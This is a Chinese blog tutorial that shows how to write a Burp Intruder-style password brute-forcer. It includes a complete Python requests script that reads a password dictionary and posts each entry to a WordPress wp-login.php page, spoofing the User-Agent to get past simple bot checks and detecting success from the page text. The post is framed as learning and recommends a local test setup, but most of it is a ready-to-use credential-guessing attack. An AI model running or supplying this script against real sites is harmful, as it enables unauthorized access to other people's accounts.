前言:
BurpSuite大家应该都用过吧,里面有个Inteuder模块,是用来爆破网站后台密码的,那么这个模块是如何实现的呢?接下来这篇文章就教你写属于自己的Intruder工具
目录:
0x01:处理流程
0x02:简析流程
0x03:代码实现
0x01 处理流程
0x02 简析流程
首先,我们确定自己的目的是什么,爆破出一个网站后台的登陆密码。
然后我们要分析后台的登陆流程,是否有验证码,是否有隐藏参数传递等
这里的后台是我的博客,基于wordpress,一般默认无验证码,只需要输入post的账号和密码就好
然后我们就构造post参数,从一个本地的pwd.txt(字典文件)读取密码,不断的加入到post的密码参数里面,试图去登陆
登陆成功后302自动跳转到我们的后台页面
这时我们可以用登陆成功后页面内容来判断,也可用其他,没成功就说明字典不给力,或者管理者密码比较强大
0x03 代码实现
# -*- coding: utf-8 -*- ''' Program:WordPress后台登陆 Function:读取字典逐个登陆Wordpress后台,在知道用户名的情况下,可用来爆破登陆密码 Version:Python3.6 Time:2017/10/25 Author:Walks 个人博客:http://www.bywalks.com ''' #导入requests库,跟2.x的urllib2和3.x的urllib.request差不多的功能,不过好像更强大 import requests #登陆后台 url = 'http://www.bywalks.com/wp-login.php' #HTTP的header头,添加个user-agent,有的网站会从User-Agent来判断是否是程序访问 #如果是程序访问则不允许,添加个user-agent就是欺骗这种防护 #在这里的后台wordpress好像不用加 headers = {'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'} #访问也米欧庵后,保留cookie s = requests.Session() #加个headers s.headers.update(headers) #防止报错代码 try: #打开pwd.txt with open('pwd.txt','r') as f: #逐行访问并且尝试 for pwd in f: #去除每行的\n,当你读取一行时,如果用二进制显示,会发现每行都有个\n pwd = pwd.replace('\n','') #print(pwd) #构造post数据,log=username,pwd=password data = { "log":"XXX", "pwd":pwd, "rememberme":"forever" } #尝试登陆 req = s.post(url,data = data) print(req.status_code) #通过某些特征判断是否登陆成功 if '欢迎使用WordPress' in req.text: print('爆破成功,密码为:'+pwd) break #如果出错,输出具体错误 except requests.RequestException as e: print(e)
成功图
大家如果想找环境测试的话可以本地搭建个wordpress,这里我测试的是我的博客后台,我加了验证码,所以大家弄我的肯定是没用的。
下篇的话给大家写个带验证码识别流程的
转载请注明出处:www.bywalks.com